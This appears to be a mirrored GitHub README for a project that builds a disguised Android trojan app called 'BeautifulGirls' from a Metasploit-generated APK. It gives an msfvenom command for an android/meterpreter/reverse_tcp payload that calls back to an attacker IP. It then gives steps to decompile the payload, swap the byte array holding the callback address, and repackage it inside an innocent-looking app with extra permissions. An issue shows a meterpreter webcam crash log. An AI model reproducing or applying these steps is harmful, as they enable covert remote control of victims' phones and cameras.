Giter VIP home page Giter VIP logo

lemeilleurprince-trojan-based-on-metasploit-generated-apk's Introduction

The app "BeautifulGirls" is based on trojan apk generated by metasploit framework.

So how can I build it?

1.Generate trojan apk by metasploit framework.

E.g: msfvenom -p android/meterpreter/reverse_tcp lhost=172.20.2.143 lport=5555 R>./Payload.apk

2.Then we decompile Payload.apk by jadx-gui-1.3.3-with-jre-win(I didn't find its linux version, if you have, thanks a lot for sharing), and save the source code.

3.Before building a customised trojan, we must ask such a question: where is the information needed for a successful HTTP or TCP connection saved?

Bingo, it's saved in f0a, the byte[] in file Payload.java!

After analyzing the code, I found the algorithms to decode f0a, so, I show the decoding process in this directory "Decode", almost copied from the decompiled files.

4.After that, we understand every time metasploit framework generates a trojan apk, what must be changed is only the byte[] f0a!

5.Let's begin to build our customised trojan then!

1)Open your Android Studio and start from an empty activity;

2)Copy the decompiled files to directory java/main/src;

3)Press Alt +Enter to erase every red underline you meet;

4)Remember to change the byte[] f0a, make sure it's your own ip address,get it from the decompiled file Payload.java (I can't understand how metasploit generates such a byte[], if you know, it will be much easier to change it!);

5)Good! You are almost there! Add your customised activities to this project and all is done! Oh,wait a second!

6)Don't forget to change AndroidManifest.xml, add permissions, service and so on!

6.Well, we got it! Kind of difficult, Aha~

Enjoy hacking! Why not start android studio and msfconsole now?

lemeilleurprince-trojan-based-on-metasploit-generated-apk's People

Contributors

lemeilleurprince avatar

Watchers

 avatar

lemeilleurprince-trojan-based-on-metasploit-generated-apk's Issues

Error occurs when starting the camera. program error exit

Process: com.mine.msf_apk, PID: 26714
android.view.WindowManager$BadTokenException: Unable to add window -- token null is not valid; is your activity running?
at android.view.ViewRootImpl.setView(ViewRootImpl.java:1083)
at android.view.WindowManagerGlobal.addView(WindowManagerGlobal.java:411)
at android.view.WindowManagerImpl.addView(WindowManagerImpl.java:110)
at com.metasploit.meterpreter.android.webcam_start_android$1.run(webcam_start_android.java:82)
at android.os.Handler.handleCallback(Handler.java:938)
at android.os.Handler.dispatchMessage(Handler.java:99)
at android.os.Looper.loop(Looper.java:223)
at android.app.ActivityThread.main(ActivityThread.java:7838)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:592)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:952)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.